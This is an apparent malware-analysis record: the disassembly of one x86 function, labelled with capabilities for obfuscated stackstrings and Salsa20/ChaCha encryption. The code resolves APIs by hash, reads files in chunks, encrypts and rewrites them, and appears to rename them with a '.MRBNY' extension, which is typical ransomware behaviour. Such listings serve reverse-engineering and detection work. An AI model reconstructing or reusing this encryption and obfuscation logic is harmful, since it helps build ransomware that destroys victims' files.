Function at 0x410310
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x42e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov ebx, ecx
push 0x38
push 0xabcb0a67
mov edx, 0x10
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], 0x28
call fcn.00405270
add esp, 8
lea edi, [ebx + 0x58]
push edi
push 0x20
push dword [ebp + 8]
call eax
test eax, eax
je 0x41076f
push 0x38
push 0xabcb0a67
mov edx, 0x10
call fcn.00405270
add esp, 8
lea esi, [ebx + 0x50]
push esi
push 8
push dword [ebp + 8]
call eax
test eax, eax
je 0x41076f
lea edx, [ebx + 0x10]
mov ecx, 0x40
mov dword [ebp - 0x8c], edx
mov eax, edx
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x410393
mov ecx, edi
lea edi, [ebx + 0x78]
mov eax, dword [ecx]
mov dword [edx + 0x10], eax
mov eax, dword [ecx + 4]
mov dword [edx + 0x14], eax
mov eax, dword [ecx + 8]
mov dword [edx + 0x18], eax
mov eax, dword [ecx + 0xc]
mov dword [edx + 0x1c], eax
mov eax, dword [ecx + 0x10]
mov dword [edx + 0x20], eax
mov eax, dword [ecx + 0x14]
mov dword [edx + 0x24], eax
mov eax, dword [ecx + 0x18]
mov dword [edx + 0x28], eax
mov eax, dword [ecx + 0x1c]
lea ecx, [ebx + 0x58]
mov dword [edx + 0x2c], eax
mov dword [edx], 0x61707865
mov dword [edx + 4], 0x3320646e
mov dword [edx + 8], 0x79622d32
mov dword [edx + 0xc], 0x6b206574
mov edx, 8
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x44], 0
mov eax, dword [esi]
mov dword [ebx + 0x48], eax
mov eax, dword [esi + 4]
mov dword [ebx + 0x4c], eax
nop
mov eax, dword [ecx]
lea ecx, [ecx + 4]
mov dword [ecx + 0x1c], eax
sub edx, 1
jne 0x410410
mov ecx, esi
mov edx, 2
mov eax, dword [ecx]
lea ecx, [ecx + 4]
mov dword [ecx + 0x44], eax
sub edx, 1
jne 0x410424
push 0x37
push 0x6c6c937b
mov edx, 0x10
call fcn.00405270
add esp, 8
lea ecx, [ebp - 0xc]
push 0x20c
push ecx
push edi
push 0
push 1
push 0
push dword [ebp + 0xc]
call eax
test eax, eax
je 0x41076f
mov ecx, ebx
call fcn.0040eda0
test eax, eax
je 0x410946
mov ecx, dword [ebx]
call fcn.00408cb0
test eax, eax
je 0x4104a7
push 0
mov dl, 0x24
mov ecx, ebx
call fcn.0040e220
add esp, 4
test eax, eax
je 0x410946
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ecx, ebx
call fcn.004101d0
add esp, 8
jmp 0x41065d
mov ecx, dword [ebx]
call fcn.0040d260
test eax, eax
je 0x4104cf
push 0x14
mov dl, 0x25
mov ecx, ebx
call fcn.0040e220
add esp, 4
test eax, eax
je 0x410946
push 0x14
jmp 0x41064d
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 8]
test ecx, ecx
jg 0x410629
jl 0x41047c
cmp eax, 0x100000
jbe 0x41047c
test ecx, ecx
jg 0x410629
jl 0x4104fb
cmp eax, 0x500000
ja 0x410629
push 0
mov dl, 0x26
mov ecx, ebx
call fcn.0040e220
add esp, 4
test eax, eax
je 0x410946
xorps xmm0, xmm0
mov dword [ebp - 8], 0
movlpd qword [ebp - 0x88], xmm0
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
nop word [eax + eax]
mov edi, 0x100000
sub edi, eax
mov eax, 0
sbb eax, ecx
mov dword [ebp - 0x84], eax
js 0x410565
jg 0x410560
cmp edi, 0x500000
jbe 0x410565
mov edi, 0x500000
mov esi, dword [ebx + 4]
mov edx, 0xf
push 4
push 0xf91ac9a0
call fcn.00405270
add esp, 8
lea ecx, [ebp - 8]
push 0
push ecx
push edi
mov edi, dword [ebp - 0x10]
push edi
push esi
call eax
test eax, eax
je 0x41061d
mov eax, dword [ebp - 8]
mov dword [ebp - 0x84], eax
test eax, eax
je 0x41061d
add dword [ebp - 0x18], eax
mov edx, edi
mov ecx, dword [ebp - 0x8c]
adc dword [ebp - 0x14], 0
push eax
push edi
call fcn.004056e0
mov ebx, dword [ebp - 8]
xor edi, edi
mov esi, dword [ebp - 0x1c]
neg ebx
push 0x14
adc edi, edi
mov edx, 0xf
push 0xd54e6bd3
mov esi, dword [esi + 4]
neg edi
call fcn.00405270
add esp, 0x10
push 1
push 0
push edi
push ebx
push esi
call eax
mov ebx, dword [ebp - 0x1c]
test eax, eax
je 0x41061d
push dword [ebp - 0x84]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebx + 4]
call fcn.0040dd60
add esp, 4
test eax, eax
je 0x41061d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
test ecx, ecx
jl 0x410540
jg 0x41061d
cmp eax, 0x100000
jb 0x410540
mov dword [ebp - 0x10], 1
lea edi, [ebx + 0x78]
jmp 0x410668
movzx eax, byte [0x42e884]
mov dl, 0x25
push eax
mov ecx, ebx
call fcn.0040e220
add esp, 4
test eax, eax
je 0x410946
movzx eax, byte [0x42e884]
push eax
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ecx, ebx
call fcn.0040fd40
add esp, 0xc
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4106fd
mov esi, dword [ebx + 4]
mov edx, 0xf
push 0x12
push 0xa5eb6e47
call fcn.00405270
add esp, 8
push esi
call eax
mov eax, dword [ebx]
push 0x7fd7
mov dword [ebx + 4], 0xffffffff
mov dword [ebp - 0x14], eax
call fcn.0041e584
mov esi, eax
add esp, 4
test esi, esi
je 0x4106fa
push 0x16
push 0x4d9702d0
mov edx, 0xf
call fcn.00405270
add esp, 8
push dword [ebp - 0x14]
push esi
call eax
push 0x11
push 0x7ba2639
mov edx, 0xf
call fcn.00405270
add esp, 8
push str..MRBNY
push esi
call eax
push 0x17
push 0xc8fb7817
mov edx, 0xf
call fcn.00405270
add esp, 8
push esi
push dword [ebp - 0x14]
call eax
push esi
call fcn.0041e58f
add esp, 4
lea esi, [ebx + 0x50]
mov eax, 0x20
lea ecx, [ebx + 0x58]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x410705
mov eax, 8
mov byte [esi], 0
lea esi, [esi + 1]
sub eax, 1
jne 0x410715
mov esi, dword [ebx + 4]
cmp esi, 0xffffffff
je 0x410744
push 0x12
push 0xa5eb6e47
lea edx, [eax + 0xf]
call fcn.00405270
add esp, 8
push esi
call eax
mov dword [ebx + 4], 0xffffffff
mov eax, 0x20c
nop dword [eax]
mov byte [edi], 0
lea edi, [edi + 1]
sub eax, 1
jne 0x410750
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c1b4
mov esp, ebp
pop ebp
ret
push 0x10
push 0x1fbbb84f
mov edx, 0xf
call fcn.00405270
add esp, 8
call eax
mov byte [ebp - 0x80], 0
mov edi, eax
mov byte [ebp - 0x7f], 0x4c
mov byte [ebp - 0x7e], 0x7b
mov byte [ebp - 0x7d], 0x24
mov byte [ebp - 0x7c], 0x7b
mov byte [ebp - 0x7b], 0x3d
mov byte [ebp - 0x7a], 0x7b
mov byte [ebp - 0x79], 0x47
mov byte [ebp - 0x78], 0x7b
mov byte [ebp - 0x77], 0x35
mov byte [ebp - 0x76], 0x7b
mov byte [ebp - 0x75], 0x26
mov byte [ebp - 0x74], 0x7b
mov byte [ebp - 0x73], 0x1c
mov byte [ebp - 0x72], 0x7b
mov byte [ebp - 0x71], 0x49
mov byte [ebp - 0x70], 0x7b
mov byte [ebp - 0x6f], 0x3d
mov byte [ebp - 0x6e], 0x7b
mov byte [ebp - 0x6d], 0x26
mov byte [ebp - 0x6c], 0x7b
mov byte [ebp - 0x6b], 0x41
mov byte [ebp - 0x6a], 0x7b
mov byte [ebp - 0x69], 0x49
mov byte [ebp - 0x68], 0x7b
mov byte [ebp - 0x67], 4
mov byte [ebp - 0x66], 0x7b
mov byte [ebp - 0x65], 0x26
mov byte [ebp - 0x64], 0x7b
mov byte [ebp - 0x63], 0x72
mov byte [ebp - 0x62], 0x7b
mov byte [ebp - 0x61], 0x66
mov byte [ebp - 0x60], 0x7b
mov byte [ebp - 0x5f], 0x62
mov byte [ebp - 0x5e], 0x7b
mov byte [ebp - 0x5d], 0x26
mov byte [ebp - 0x5c], 0x7b
mov byte [ebp - 0x5b], 0x72
mov byte [ebp - 0x5a], 0x7b
mov byte [ebp - 0x59], 0x6e
mov byte [ebp - 0x58], 0x7b
mov byte [ebp - 0x57], 0x6a
mov byte [ebp - 0x56], 0x7b
mov byte [ebp - 0x55], 0x49
mov byte [ebp - 0x54], 0x7b
mov byte [ebp - 0x53], 0x26
mov byte [ebp - 0x52], 0x7b
mov byte [ebp - 0x51], 0x74
mov byte [ebp - 0x50], 0x7b
mov byte [ebp - 0x4f], 0xc
mov byte [ebp - 0x4e], 0x7b
mov byte [ebp - 0x4d], 0x68
mov byte [ebp - 0x4c], 0x7b
mov byte [ebp - 0x4b], 0x26
mov byte [ebp - 0x4a], 0x7b
mov byte [ebp - 0x49], 0x71
mov byte [ebp - 0x48], 0x7b
mov byte [ebp - 0x47], 0x49
mov byte [ebp - 0x46], 0x7b
mov byte [ebp - 0x45], 0x35
mov byte [ebp - 0x44], 0x7b
mov byte [ebp - 0x43], 0x40
mov byte [ebp - 0x42], 0x7b
mov byte [ebp - 0x41], 0x24
mov byte [ebp - 0x40], 0x7b
mov byte [ebp - 0x3f], 0xc
mov byte [ebp - 0x3e], 0x7b
mov byte [ebp - 0x3d], 0x35
mov byte [ebp - 0x3c], 0x7b
mov byte [ebp - 0x3b], 0x1f
mov byte [ebp - 0x3a], 0x7b
mov byte [ebp - 0x39], 0x62
mov byte [ebp - 0x38], 0x7b
mov byte [ebp - 0x37], 0x62
mov byte [ebp - 0x36], 0x7b
mov byte [ebp - 0x35], 0x66
mov byte [ebp - 0x34], 0x7b
mov byte [ebp - 0x33], 0x62
mov byte [ebp - 0x32], 0x7b
mov byte [ebp - 0x31], 0x26
mov byte [ebp - 0x30], 0x7b
mov byte [ebp - 0x2f], 0x54
mov byte [ebp - 0x2e], 0x7b
mov byte [ebp - 0x2d], 0x26
mov byte [ebp - 0x2c], 0x7b
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x7b
mov byte [ebp - 0x29], 0x6a
mov byte [ebp - 0x28], 0x7b
mov byte [ebp - 0x27], 0x5e
mov byte [ebp - 0x26], 0x7b
mov byte [ebp - 0x25], 0x7b
mov byte [ebp - 0x24], 0x7b
mov al, byte [ebp - 0x7f]
cmp byte [ebp - 0x80], 0
jne 0x410937
xor esi, esi
lea ebx, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x7f]
movzx ecx, al
sub ecx, 0x7b
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x7f], dl
inc esi
cmp esi, 0x5c
jb 0x410910
mov ebx, dword [ebp - 0x1c]
push edi
push dword [ebx]
lea eax, [ebp - 0x7f]
push eax
call fcn.004172a0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c1b4
mov esp, ebp
pop ebp
ret